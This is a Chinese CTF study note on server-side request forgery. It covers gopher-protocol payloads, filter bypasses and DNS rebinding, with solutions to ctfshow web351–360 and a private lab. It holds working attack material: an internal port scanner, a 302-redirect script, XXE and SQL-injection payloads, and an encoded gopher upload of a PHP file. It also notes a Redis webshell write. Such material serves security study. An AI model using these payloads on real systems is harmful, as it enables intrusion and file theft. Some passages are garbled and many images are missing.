CTF 题型 SSRF攻击以及绕过汇总笔记&例题总结

CTF 题型 SSRF攻击&例题总结

文章目录

  • CTF 题型 SSRF攻击&例题总结
    • Server-side Request Forgery 服务端请求伪造
    • SSRF的利用面
        • 1 任意文件读取 前提是知道要读取的文件名
        • 2 探测内网资源
        • 3 使用gopher协议扩展攻击面
          • Gopher协议 (注意是70端口)
          • python脚本(基于gopher转发监听)探测内网资源
          • mysql 3306
          • php-fpm
          • php原生类进行ssrf
    • SSSR攻击绕过
      • 1.enclosed alphanumerics 绕过(特殊情况)
      • 2 使用IP地址转换
      • 3 系统特性绕过
      • 4 302跳转
      • 5 利用短网址绕过
      • 6.重绑定攻击
      • 7.域名解析A记录绕过
      • 典型例题
    • 补充
      • 其他绕过127的方法
      • 利用不存在的协议头绕过指定的协议头
      • URL解析差异
    • ctfshow SSRF 靶场通关
      • web351
      • web352
      • web353
      • web354
      • web354
      • **web355**
      • **web356**
      • **web357**
      • web358
      • web359
      • web360
    • 国关师傅的SSRF靶场通关
      • 从基本原理理解(不用gopher-master)

SSRF攻击方式

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-ckpGikt8-1722351849150)(https://i-blog.csdnimg.cn/blog_migrate/5fb5b32cbe31caec55765dfb17fb0edb.jpeg)]

Server-side Request Forgery 服务端请求伪造

概念:攻击者向服务端发送包含恶意url连接的请求,借由服务端发起请求

以便获取服务端网络内部的资源

总结:
控制服务端使用指定协议访问指定的url

SSRF的利用面

1 任意文件读取 前提是知道要读取的文件名
2 探测内网资源

127.0.0.1 mysql服务端监听了127.0.0.1这个地址,也就表示,只能通过127.0.0.1这个IP来访问 因此,我们只能通过SSRF 本地服务器转发请求,才可以请求MySQL服务

0.0.0.0 表示允许任意ip访问

3 使用gopher协议扩展攻击面
Gopher协议 (注意是70端口)

gopher://ip:70/_tcp数据流

/之后的第一个字符不会被读取所以写成/_便于区分

常用工具:https://github.com/tarunkant/Gopherus(生成数据时会自动编码一次)

易错:生成数据之后还要urlencode编码一次才可利用
原因: 数据流经过了两层服务器解析
存在SSRF漏洞的服务器编码一次,目标服务器编码一次,所以一共编码两次

Gopher是Internet上一个非常有名的信息查找系统,它将Internet上的文件组织成某种索引,很方便地将用户从Internet的一处带到另一处。在WWW出现之前,Gopher是Internet上最主要的信息检索工具,Gopher站点也是最主要的站点,使用TCP

Gopher协议支持发出GET、POST请求,我们可以先截获GET请求包和POST请求包,再构造成符合Gopher协议请求的payload进行SSRF利用,甚至可以用它来攻击内网中的Redis、MySql、FastCGI等应用,这无疑大大扩展了我们的SSRF攻击面

Gopher协议格式

  • 如果发起POST请求,回车换行需要使用%0d%0a来代替%0a,如果多个参数,参数之间的&也需要进行URL编码

利用Gopher协议发送HTTP请求

步骤

注意这几个问题:

  1. 问号(?)需要转码为URL编码,也就是%3f
  2. 回车换行要变为%0d%0a,但如果直接用工具转,可能只会有%0a(不用hackbar)
  3. 在HTTP包的最后要加%0d%0a,代表消息结束(具体可研究HTTP包结束)
python脚本(基于gopher转发监听)探测内网资源
import requests

#url = "http://127.0.0.1:3000/"

ports = [21,22,80,443,3389,1433,3306,6379,8080,8088,3000,9000]

#21 ftp
#22 ssh
#80 http
#443 https
#3389 rdp windows远程桌面
#1433 ms-sqlserver 默认端口
#3306 mysql 默认端口
#6379 redis 默认端口
#9000 php-fpm 默认端口 默认不打会污染环境
#8080 tomcat 默认端口
#ports=list(range(1, 10001))
for c in range(1,255):
    for p in ports:
        try:
            #data={"url":f"gopher://127.0.0.1:{p}/"}
            url=f"http://111.229.88.209:10000/?syc=gopher://172.17.0.{c}:{p}/"
            response = requests.get(url=url,timeout=2)
        except:
            with open ("client.txt","w") as f:
                f.write(f"172.17.0.{c}端口{p}开放")
            print(f"172.17.0.{c}端口{p}开放")

关键服务

apache/nginx 80
tomcat 8080
node 3000
flask 8080
php-fpm 9000
mysql 3306
ftp 21
ssh 22
redis 6379
mysql 3306

一般用户密码为空 才可利用

php-fpm

php-fpm 默认监听9000端口,而且只允许本机127.0.0.1这个地址访问

主要负责对.php文件的代码解释执行

我们可以通过向9000端口发送格式的请求,来让9000端口背后的php-fpm帮我们处理我们提交的php代码

通过向9000端口发送php执行请求

利用方法 php.ini

通过设置php.ini中的运行参数

其中使用 auto_append_file 来指定 php://input 包含恶意代码,然后执行

为了能使用auto_append_file参数,必须有一个存在的php文件来使用这个配置项

php原生类进行ssrf

s o a p = n e w S o a p C l i e n t ( soap = new SoapClient( soap=newSoapClient(_GET[‘url’]);

$soap->hack();

//$soap->__call()

url可控时,可以发送内网请求

SSSR攻击绕过

只要不允许它访问本地地址即可,也就是说,过滤的目的是,不让访问127.0.0.1地址

1.enclosed alphanumerics 绕过(特殊情况)

Enclosed Alphanumerics是一种Unicode字符集,其中包括被圆圈、括号或其他类型的封闭图形所包围的字母和数字。例如,数字 “1” 可以表示为 “①”。在某些情况下,攻击者可能会尝试使用这些特殊字符来绕过输入校验。

随附的字母数字[1]
官方 Unicode 联盟代码表(PDF)
 	0	1	2	3	4	5	6	7	8	9	A	乙	C	D	乙	F
U+246x	①	②	③	④	⑤	⑥	⑦	⑧	⑨	⑩	⑪	⑫	⑬	⑭	⑮	⑯
U+247x	⑰	⑱	⑲	⑳	⑴	⑵	⑶	⑷	⑸	⑹	⑺	⑻	⑼	⑽	⑾	⑿
U+248x	⒀	⒁	⒂	⒃	⒄	⒅	⒆	⒇	⒈	⒉	⒊	⒋	⒌	⒍	⒎	⒏
U+249x	⒐	⒑	⒒	⒓	⒔	⒕	⒖	⒗	⒘	⒙	⒚	⒛	⒜	⒝	⒞	⒟
U+24斧	⒠	⒡	⒢	⒣	⒤	⒥	⒦	⒧	⒨	⒩	⒪	⒫	⒬	⒭	⒮	⒯
U+24Bx	⒰	⒱	⒲	⒳	⒴	⒵	Ⓐ	Ⓑ	Ⓒ	Ⓓ	Ⓔ	Ⓕ	Ⓖ	Ⓗ	Ⓘ	Ⓙ
U+24Cx	Ⓚ	Ⓛ	Ⓜ	Ⓝ	Ⓞ	Ⓟ	Ⓠ	Ⓡ	Ⓢ	Ⓣ	Ⓤ	Ⓥ	Ⓦ	Ⓧ	Ⓨ	Ⓩ
U+24Dx	ⓐ	ⓑ	ⓒ	ⓓ	ⓔ	ⓕ	ⓖ	ⓗ	ⓘ	ⓙ	ⓚ	ⓛ	ⓜ	ⓝ	ⓞ	ⓟ
U+24Ex	ⓠ	ⓡ	ⓢ	ⓣ	ⓤ	ⓥ	ⓦ	ⓧ	ⓨ	ⓩ	⓪	⓫	⓬	⓭	⓮	⓯
U+24Fx	⓰	⓱	⓲	⓳	⓴	⓵	⓶	⓷	⓸	⓹	⓺	⓻	⓼	⓽	⓾	⓿

127.0.0.1

127.⓿.⓿.1

2 使用IP地址转换

所有的域名->IP

ip可以使用不同进制来表示

127.0.0.1用不同进制可以表示为

还可以点分表示

3 系统特性绕过

Windows 下 0 代表的是0.0.0.0
而Linux 下 0 代表的是127.0.0.1

127.0.0.1 可以省略为 127.1

127。0。0。1 可以替代127.0.0.1

4 302跳转

可以发送http的协议。但是返回的location为其他协议

http://xxx.com/302.php?schema=gopher&host=127.0.0.1&port=9000&payload=xxxx

302脚本

<?php  
$schema = $_GET['s'];
$ip     = $_GET['i'];
$port   = $_GET['p'];
$query  = $_GET['q'];
if(empty($port)){  
    header("Location: $schema://$ip/$query"); 
} else {
    header("Location: $schema://$ip:$port/$query"); 
}
//?s=http&i=127.0.0.1&q=flag.php

5 利用短网址绕过

baidu.com 不允许出现baidu

或者限制了url长度,我们可以切换为短网址,来绕过长度的限制

http://rurl.vip/eW7AU

6.重绑定攻击

[外链图片转存中…(img-xkGOpqw3-1722351849151)]

[外链图片转存中…(img-bDE9iyDx-1722351849152)]

[外链图片转存中…(img-aI0BEC8y-1722351849153)]

极其类似条件竞争 通过host合法验证后 TTL缓存失效后,DNS解析重定向到127.0.0.1

具体实现攻击

1.ceye.io注册绑定DNS重绑定127.0.0.1然后记得前面加r

访问r.自己分配的地址

2.DNS重绑定利用:https://lock.cmpxchg8b.com/rebinder.html

7.域名解析A记录绕过

将自己的域名A记录指向127.0.0.1

典型例题

题目禁止 localhost,0,1,。

[外链图片转存中…(img-8HaUxjjk-1722351849153)]

方法有 三种

方法一:域名指向127

在自己的域名中添加一条A记录指向 127.0.0.1

或者使用 http://sudo.cc这个域名就是指向127.0.0.1

方法二:302跳转

在自己的网站页面添加

<?phpheader("Location:http://127.0.0.1/flag.php");

重定向到127

方法三:DNS-Rebinding

自己去ceye.io注册绑定127.0.0.1然后记得前面加r

或者 https://lock.cmpxchg8b.com/rebinder.html

补充

其他绕过127的方法

  1. 如果目标代码限制访问的域名只能为 http://www.xxx.com,那么我们可以采用HTTP基本身份认证的方式绕过。即@:http://www.xxx.com@www.evil.com http://www.evil.com/
  2. http://xip.io,当访问这个服务的任意子域名的时候,都会重定向到这个子域名,如访问:http://127.0.0.1.xip.io/flag.php时,实际访问的是http://127.0.0.1/1.php 像这样的网址还有 http://nip.io,http://sslip.io
  3. 短网址目前基本都需要登录使用,如缩我,https://4m.cn/
  4. 各种指向127.0.0.1的地址

利用不存在的协议头绕过指定的协议头

file_get_contents()函数的一个特性,即当PHP的file_get_contents()函数在遇到不认识的协议头时候会将这个协议头当做文件夹,造成目录穿越漏洞,这时候只需不断往上跳转目录即可读到根目录的文件。(include()函数也有类似的特性)//路径穿越的原理

上面的代码限制了url只能是以https开头的路径,那么我们就可以如下:

此时file_get_contents()函数遇到了不认识的伪协议头“httpsssss://”,就会将他当做文件夹,然后再配合目录穿越即可读取文件:

URL解析差异

1.readfile和parse_user函数解析差异绕过指定端口

上述代码限制了我们传过去的url只能是80端口的,但如果我们想去读取11211端口的文件的话,我们可以用以下方法绕过

可以成功读取11211端口flag.txt文件,原理如下图

[外链图片转存中…(img-5q2so815-1722351849153)]

两个函数解析host也存在差异

[外链图片转存中…(img-8dNb3Ejl-1722351849154)]

利用这种差异的不同,可以绕过题目中parse_url()函数对指定host的限制

2.利用curl和parse_url的解析差异绕过指定host

[外链图片转存中…(img-7VcSdvsg-1722351849154)]

[外链图片转存中…(img-6TmlYAuu-1722351849155)]

ctfshow SSRF 靶场通关

web351

<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
?>

file:///etc/hosts 存在SSRF

[外链图片转存中…(img-mlr9yzht-1722351849155)]

直接 url=http://0/flag.php

Linux特性 0 可以代表 127.0.0.1

web352

url=http://0/flag.php

web353

<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
if(!preg_match('/localhost|127\.0\.|\。/i', $url)){
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
}
else{
    die('hacker');
}
}
else{
    die('hacker');
}
?> hacker

[外链图片转存中…(img-h0PfE62E-1722351849156)]

url=http://0x7F.0.0.1/flag.php

点分+进制转换

web354

<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
if(!preg_match('/localhost|1|0|。/i', $url)){
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
}
else{
    die('hacker');
}
}
else{
    die('hacker');
}
?> hacker

302跳转 但是我是裸ip…

web354

if(!preg_match('/localhost|1|0|。/i', $url))

方法一:域名指向127

在自己的域名中添加一条A记录指向 127.0.0.1

或者使用 http://sudo.cc这个域名就是指向127.0.0.1

方法二:302跳转

在自己的网站页面添加

<?phpheader("Location:http://127.0.0.1/flag.php");

重定向到127

方法三:DNS-Rebinding

自己去ceye.io注册绑定127.0.0.1然后记得前面加r

url=http://r.xxxzc8.ceye.io/flag.php

or https://lock.cmpxchg8b.com/rebinder.html

[外链图片转存中…(img-SwJMZZ5k-1722351849156)]

[外链图片转存中…(img-nugMTYtE-1722351849157)]

web355

<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
$host=$x['host'];
if((strlen($host)<=5)){
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
}
else{
    die('hacker');
}
}
else{
    die('hacker');
}
?> hacker

url=http://0/flag.php

web356

<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
$host=$x['host'];
if((strlen($host)<=3)){
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
}
else{
    die('hacker');
}
}
else{
    die('hacker');
}
?> hacker

url=http://0/flag.php

web357

<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
$ip = gethostbyname($x['host']); //ipv4地址
echo '</br>'.$ip.'</br>';
if(!filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE)) {
    die('ip!');// 
}

echo file_get_contents($_POST['url']);
}
else{
    die('scheme');
}
?> scheme

url=http://r.t4ekuo.ceye.io/flag.php

dns重绑定 类似条件竞争

file_get_content = 远程include + SSRF

web358

<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if(preg_match('/^http:\/\/ctf\..*show$/i',$url)){
    echo file_get_contents($url);
}

poc

http://ctf.@127.0.0.1/flag.php?show //注意题干要求

web359

[外链图片转存中…(img-A9uW2m7u-1722351849157)]

[外链图片转存中…(img-djXkGrWL-1722351849158)]

判断可以写入文件地址

无回显

写文件(运气)

[外链图片转存中…(img-1Dy8wA1B-1722351849158)]

[外链图片转存中…(img-w3L3K4YT-1722351849159)]

web360

url=dict://0:6379/info

判断redis未授权

用gopherus写马

工具地址

https://github.com/tarunkant/Gopherus

redis写phpshell马

国关师傅的SSRF靶场通关

这是之前零星的笔记,内容不全,建议跳过

[外链图片转存中…(img-164v4bht-1722351849159)]

[外链图片转存中…(img-nJpur06o-1722351849159)]

[外链图片转存中…(img-R0DixIgt-1722351849160)]

arp_sweep的原理

arp_sweep是一个通常在本地网络(LAN)中使用的技术,用来发现活跃的设备。

即使host 80端口关闭,仍有arp协议解析

可以通过查看arp缓存表,判断内网存活主机

验证存在ssrf漏洞

file:///etc/passwd

查询C段

file:///etc/hosts

[外链图片转存中…(img-N8o6FFej-1722351849160)]

两个网段对应两个网卡

查看arp缓存表

file:///proc/net/arp

[外链图片转存中…(img-JqUoetV9-1722351849161)]

类似浏览器的历史记录,有过通信才有记录(目录默认是当前路径 / 不要忘)

如何有通信,bp发http包

[外链图片转存中…(img-OK4i7ovm-1722351849161)]

[外链图片转存中…(img-HWzZCr9q-1722351849161)]

[外链图片转存中…(img-W0qaMEOW-1722351849162)]

[外链图片转存中…(img-X2LmlNww-1722351849162)]

不推荐,容易误判

[外链图片转存中…(img-gHR0pIKf-1722351849163)]

[外链图片转存中…(img-mWNxJmVf-1722351849164)]

kali自带comment目录

Untitled

[外链图片转存中…(img-MUDtqZuM-1722351849164)]

[外链图片转存中…(img-RozYpcRU-1722351849165)]

http他爹

[外链图片转存中…(img-0OZKdxfI-1722351849166)]

[外链图片转存中…(img-XHD16JK4-1722351849167)]

POST后不加换行

[外链图片转存中…(img-Ke6uJxbe-1722351849167)]

注意事项:(用hackerbar换行为%0a(不可以))

[外链图片转存中…(img-WyBpzGuF-1722351849168)]

[外链图片转存中…(img-kZwMVBxj-1722351849168)]

[外链图片转存中…(img-rITo5yaQ-1722351849169)]

[外链图片转存中…(img-xOnpk3mT-1722351849169)]

POST传参

[外链图片转存中…(img-obtgZ1pG-1722351849170)]

[外链图片转存中…(img-oiNj1dS6-1722351849171)]

[外链图片转存中…(img-71fjLRed-1722351849171)]

[外链图片转存中…(img-NiO4gorW-1722351849172)]

remote_add不可伪造:考点SSRF

[外链图片转存中…(img-DUQrvKDd-1722351849172)]

[外链图片转存中…(img-IGP47Vlu-1722351849172)]

[外链图片转存中…(img-xEpffybO-1722351849173)]

[外链图片转存中…(img-uvGZbxLM-1722351849173)]

限制内网ip

[外链图片转存中…(img-YtcgFBnE-1722351849174)]

vps挂302脚本

<?php  
$schema = $_GET['s'];
$ip     = $_GET['i'];
$port   = $_GET['p'];
$query  = $_GET['q'];
if(empty($port)){  
    header("Location: $schema://$ip/$query"); 
} else {
    header("Location: $schema://$ip:$port/$query"); 
}
//?s=http&i=127.0.0.1&q=flag.php

[外链图片转存中…(img-36XO8Rrx-1722351849174)]

http://148.135.82.190/302.php?s=http&i=127.0.0.1&q=flag.php

[外链图片转存中…(img-79nNSVr6-1722351849174)]

[外链图片转存中…(img-gGsEyQsP-1722351849175)]

[外链图片转存中…(img-2V3nYP1l-1722351849175)]

[外链图片转存中…(img-w0XJ9NMh-1722351849176)]

[外链图片转存中…(img-glnyPRpD-1722351849176)]

DNS重绑定tool:https://lock.cmpxchg8b.com/rebinder.html

[外链图片转存中…(img-kDO5iotP-1722351849176)]

[外链图片转存中…(img-X5aAeZP7-1722351849177)]

post name的键值 ip

[外链图片转存中…(img-JUiJzuF4-1722351849177)]

[外链图片转存中…(img-0qQnB1Ur-1722351849178)]

[外链图片转存中…(img-ulA9OSdE-1722351849178)]

xxe的验证回显(注意判断回显位)

[外链图片转存中…(img-vd2ABmum-1722351849178)]

<script type='text/javascript'> 
function doLogin(){
	var username = $("#username").val();
	var password = $("#password").val();
	if(username == "" || password == ""){
		alert("用户名或密码不为空");
		return;
	}
	
	var data = "<user><username>" + username + "</username><password>" + password + "</password></user>";//xxe的结构 
    $.ajax({
        type: "POST",
        url: "doLogin.php", //doLogin.php
        contentType: "application/xml;charset=utf-8", //定义content-type 类型
        data: data,
        dataType: "xml",
        anysc: false,
        success: function (result) {
        	var code = result.getElementsByTagName("code")[0].childNodes[0].nodeValue;
        	var msg = result.getElementsByTagName("msg")[0].childNodes[0].nodeValue;
        	if(code == "0"){
                swal("登录失败", "", "error");
        	}else if(code == "1"){
                swal("登录成功", "", "success");
        	}else{
                swal("系统错误", "", "success");
        	}
        },
    }); 
}
</script>

构造验证包

POST /doLogin.php HTTP/1.1
Host: 172.250.250.6
Content-Length: 65
Content-Type: application/xml;charset=utf-8

<user><username>admin</username><password>admin</password></user>

xxe攻击包

POST /doLogin.php HTTP/1.1
Host: 172.250.250.6
Content-Length: 117
Content-Type: application/xml;charset=utf-8

<!DOCTYPE root[<!ENTITY a SYSTEM "file:///etc/passwd">]><user><username>&a;</username><password>&a;</password></user>

定义变量 (外部实体)

<!DOCTYPE root[<!ENTITY a SYSTEM "file:///etc/passwd">]>

-》 引用变量

回显位 
&变量名;

[外链图片转存中…(img-WsixOPTL-1722351849179)]

[外链图片转存中…(img-rsbgUsi4-1722351849179)]

[外链图片转存中…(img-gMpUgqEg-1722351849180)]

[外链图片转存中…(img-wN4nfyz8-1722351849180)]

hackerbar不会默认再次编码

[外链图片转存中…(img-3fSR4TUY-1722351849180)]

submit也要提交

[外链图片转存中…(img-GepxnmwK-1722351849181)]

union select 合并查询(前者必须不返回值 如 -1

浏览器中poc(本身会再编码一次 注意 + 换成 %20)

http://172.250.250.11/Less-1/?id=-1'%20union%20select%201,2,database()--%20

在URL中,有一些字符不能直接使用,因为它们在URL中具有特殊的意义或者在传输过程中可能会引起歧义。其中,空格( ``)是一个常见的特殊字符,因为在URL中直接使用空格会导致解析错误或者意外的结果。

因此,在URL的查询字符串(通常是GET请求中的参数部分)中,空格通常会被替换为+符号或者%20(空格在ASCII编码中的百分号编码形式)。

例如,如果你想通过GET请求传递hello world这个短语作为一个查询参数的值,你需要在URL中这样写:

<http://www.example.com/search?q=hello+world>

或者使用%20来替换空格:

<http://www.example.com/search?q=hello%20world>

这两种方式都是有效的,不过在某些情况下,服务器可能对这两种空格的替代方式会有不同的处理,因此具体使用哪种方式取决于服务器的期望。

为了形象化记忆这个知识点,可以想象URL是一列火车,而火车上的乘客(字符)都需要遵循特定的规则。空格就像是一个无票乘客,它不能直接上车,所以它需要化装成一个受欢迎的乘客(+或%20),这样才能顺利地加入到URL的旅途中。使用+或%20代替空格,就像是给空格穿上了合适的伪装,让它可以安全地通过网络传输。

[外链图片转存中…(img-2veI0DBk-1722351849181)]

[外链图片转存中…(img-4cqPdOTi-1722351849182)]

[外链图片转存中…(img-D0Wv55kp-1722351849182)]

类似文本分割符

[外链图片转存中…(img-X268c7wH-1722351849183)]

[外链图片转存中…(img-GbYydH7X-1722351849183)]

[外链图片转存中…(img-pitEVio1-1722351849183)]

poc

POST /Pass-01/index.php HTTP/1.1
Host: 172.250.250.14
Content-Length: 313
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryOyskFkAOUUrZfcqR

------WebKitFormBoundaryOyskFkAOUUrZfcqR
Content-Disposition: form-data; name="upload_file"; filename="phpinfo.php"
Content-Type: image/jpeg

GIF89a
<?php phpinfo();?>

------WebKitFormBoundaryOyskFkAOUUrZfcqR
Content-Disposition: form-data; name="submit"

上传
------WebKitFormBoundaryOyskFkAOUUrZfcqR--

payload

url=gopher%3A%2F%2F172.250.250.14%3A80%2F_%25%35%30%25%34%66%25%35%33%25%35%34%25%32%30%25%32%66%25%35%30%25%36%31%25%37%33%25%37%33%25%32%64%25%33%30%25%33%31%25%32%66%25%36%39%25%36%65%25%36%34%25%36%35%25%37%38%25%32%65%25%37%30%25%36%38%25%37%30%25%32%30%25%34%38%25%35%34%25%35%34%25%35%30%25%32%66%25%33%31%25%32%65%25%33%31%25%30%64%25%30%61%25%34%38%25%36%66%25%37%33%25%37%34%25%33%61%25%32%30%25%33%31%25%33%37%25%33%32%25%32%65%25%33%32%25%33%35%25%33%30%25%32%65%25%33%32%25%33%35%25%33%30%25%32%65%25%33%31%25%33%34%25%30%64%25%30%61%25%34%33%25%36%66%25%36%65%25%37%34%25%36%35%25%36%65%25%37%34%25%32%64%25%34%63%25%36%35%25%36%65%25%36%37%25%37%34%25%36%38%25%33%61%25%32%30%25%33%33%25%33%31%25%33%33%25%30%64%25%30%61%25%34%33%25%36%66%25%36%65%25%37%34%25%36%35%25%36%65%25%37%34%25%32%64%25%35%34%25%37%39%25%37%30%25%36%35%25%33%61%25%32%30%25%36%64%25%37%35%25%36%63%25%37%34%25%36%39%25%37%30%25%36%31%25%37%32%25%37%34%25%32%66%25%36%36%25%36%66%25%37%32%25%36%64%25%32%64%25%36%34%25%36%31%25%37%34%25%36%31%25%33%62%25%32%30%25%36%32%25%36%66%25%37%35%25%36%65%25%36%34%25%36%31%25%37%32%25%37%39%25%33%64%25%32%64%25%32%64%25%32%64%25%32%64%25%35%37%25%36%35%25%36%32%25%34%62%25%36%39%25%37%34%25%34%36%25%36%66%25%37%32%25%36%64%25%34%32%25%36%66%25%37%35%25%36%65%25%36%34%25%36%31%25%37%32%25%37%39%25%34%66%25%37%39%25%37%33%25%36%62%25%34%36%25%36%62%25%34%31%25%34%66%25%35%35%25%35%35%25%37%32%25%35%61%25%36%36%25%36%33%25%37%31%25%35%32%25%30%64%25%30%61%25%30%64%25%30%61%25%32%64%25%32%64%25%32%64%25%32%64%25%32%64%25%32%64%25%35%37%25%36%35%25%36%32%25%34%62%25%36%39%25%37%34%25%34%36%25%36%66%25%37%32%25%36%64%25%34%32%25%36%66%25%37%35%25%36%65%25%36%34%25%36%31%25%37%32%25%37%39%25%34%66%25%37%39%25%37%33%25%36%62%25%34%36%25%36%62%25%34%31%25%34%66%25%35%35%25%35%35%25%37%32%25%35%61%25%36%36%25%36%33%25%37%31%25%35%32%25%30%64%25%30%61%25%34%33%25%36%66%25%36%65%25%37%34%25%36%35%25%36%65%25%37%34%25%32%64%25%34%34%25%36%39%25%37%33%25%37%30%25%36%66%25%37%33%25%36%39%25%37%34%25%36%39%25%36%66%25%36%65%25%33%61%25%32%30%25%36%36%25%36%66%25%37%32%25%36%64%25%32%64%25%36%34%25%36%31%25%37%34%25%36%31%25%33%62%25%32%30%25%36%65%25%36%31%25%36%64%25%36%35%25%33%64%25%32%32%25%37%35%25%37%30%25%36%63%25%36%66%25%36%31%25%36%34%25%35%66%25%36%36%25%36%39%25%36%63%25%36%35%25%32%32%25%33%62%25%32%30%25%36%36%25%36%39%25%36%63%25%36%35%25%36%65%25%36%31%25%36%64%25%36%35%25%33%64%25%32%32%25%37%30%25%36%38%25%37%30%25%36%39%25%36%65%25%36%36%25%36%66%25%32%65%25%37%30%25%36%38%25%37%30%25%32%32%25%30%64%25%30%61%25%34%33%25%36%66%25%36%65%25%37%34%25%36%35%25%36%65%25%37%34%25%32%64%25%35%34%25%37%39%25%37%30%25%36%35%25%33%61%25%32%30%25%36%39%25%36%64%25%36%31%25%36%37%25%36%35%25%32%66%25%36%61%25%37%30%25%36%35%25%36%37%25%30%64%25%30%61%25%30%64%25%30%61%25%34%37%25%34%39%25%34%36%25%33%38%25%33%39%25%36%31%25%30%64%25%30%61%25%33%63%25%33%66%25%37%30%25%36%38%25%37%30%25%32%30%25%37%30%25%36%38%25%37%30%25%36%39%25%36%65%25%36%36%25%36%66%25%32%38%25%32%39%25%33%62%25%33%66%25%33%65%25%30%64%25%30%61%25%30%64%25%30%61%25%32%64%25%32%64%25%32%64%25%32%64%25%32%64%25%32%64%25%35%37%25%36%35%25%36%32%25%34%62%25%36%39%25%37%34%25%34%36%25%36%66%25%37%32%25%36%64%25%34%32%25%36%66%25%37%35%25%36%65%25%36%34%25%36%31%25%37%32%25%37%39%25%34%66%25%37%39%25%37%33%25%36%62%25%34%36%25%36%62%25%34%31%25%34%66%25%35%35%25%35%35%25%37%32%25%35%61%25%36%36%25%36%33%25%37%31%25%35%32%25%30%64%25%30%61%25%34%33%25%36%66%25%36%65%25%37%34%25%36%35%25%36%65%25%37%34%25%32%64%25%34%34%25%36%39%25%37%33%25%37%30%25%36%66%25%37%33%25%36%39%25%37%34%25%36%39%25%36%66%25%36%65%25%33%61%25%32%30%25%36%36%25%36%66%25%37%32%25%36%64%25%32%64%25%36%34%25%36%31%25%37%34%25%36%31%25%33%62%25%32%30%25%36%65%25%36%31%25%36%64%25%36%35%25%33%64%25%32%32%25%37%33%25%37%35%25%36%32%25%36%64%25%36%39%25%37%34%25%32%32%25%30%64%25%30%61%25%30%64%25%30%61%25%30%61%25%32%30%25%30%64%25%30%61%25%32%64%25%32%64%25%32%64%25%32%64%25%32%64%25%32%64%25%35%37%25%36%35%25%36%32%25%34%62%25%36%39%25%37%34%25%34%36%25%36%66%25%37%32%25%36%64%25%34%32%25%36%66%25%37%35%25%36%65%25%36%34%25%36%31%25%37%32%25%37%39%25%34%66%25%37%39%25%37%33%25%36%62%25%34%36%25%36%62%25%34%31%25%34%66%25%35%35%25%35%35%25%37%32%25%35%61%25%36%36%25%36%33%25%37%31%25%35%32%25%32%64%25%32%64

注意自己创建 upload 目录 且将 upload目录 chmod 777 upload(上传或创建被www-data执行就要改chmod shell上msf马子

[外链图片转存中…(img-dRfn6KEg-1722351849184)]

hackerbar自己做了一次urlencode编码

[外链图片转存中…(img-RqLwreEu-1722351849184)]

[外链图片转存中…(img-z1vwFjaw-1722351849185)]

hackerbar不编码

& 是关键词 url编码后表示&进行传输

http在ssrf中编码一次即可,ssrf服务器会再自己编码一次(gopher tcp数据二次编码)

poc

[外链图片转存中…(img-9szZ4KnS-1722351849185)]

[外链图片转存中…(img-nONNlrxq-1722351849186)]

[外链图片转存中…(img-qNSVwd3Y-1722351849186)]

从基本原理理解(不用gopher-master)

[外链图片转存中…(img-NAaSYUnN-1722351849187)]

[外链图片转存中…(img-HEK9vxXJ-1722351849187)]

[外链图片转存中…(img-fVNjrB7x-1722351849187)]

[外链图片转存中…(img-7x5MG0IJ-1722351849188)]

[外链图片转存中…(img-RUQGp2zG-1722351849188)]

[外链图片转存中…(img-U09I3Jih-1722351849189)]

条件 :mysql+ php架构 dict://127.0.0.1:3306/info 判断未授权

[外链图片转存中…(img-6wosVCUn-1722351849189)]

[外链图片转存中…(img-ng8c0IH4-1722351849190)]

show variables like ‘%secure%’ 类比 php open_basedir 环境(写可以写,但位置固定)

在 MySQL 数据库中,当你想查看与安全相关的配置变量时,可以使用 SHOW VARIABLES 这个 SQL 命令,配合 LIKE 子句进行模式匹配。你提到的命令 SHOW VARIABLES LIKE ‘%secure%’; 就是这样的一个用例。

这条命令的作用是列出所有名称里包含 “secure” 字样的系统变量及其值。这可以包括但不限于:

  • secure_auth:当设置为 ON 时,服务器将拒绝连接不使用密码的客户端或使用旧的(不安全的)密码格式的客户端。
  • secure_file_priv:用来限制 LOAD DATA INFILESELECT ... INTO OUTFILELOAD_FILE() 函数所操作的文件路径。如果设置了特定的目录,那么这些操作只能在该目录内进行。
  • have_sslhave_openssl:指示服务器是否支持 SSL 加密连接。

当执行这个命令时,需要注意单引号使用的是直角引号(‘’),而不是通常编程中使用的单引号(’’)。这可能会导致语法错误,正确的命令应该使用标准单引号:

SHOW VARIABLES LIKE '%secure%';

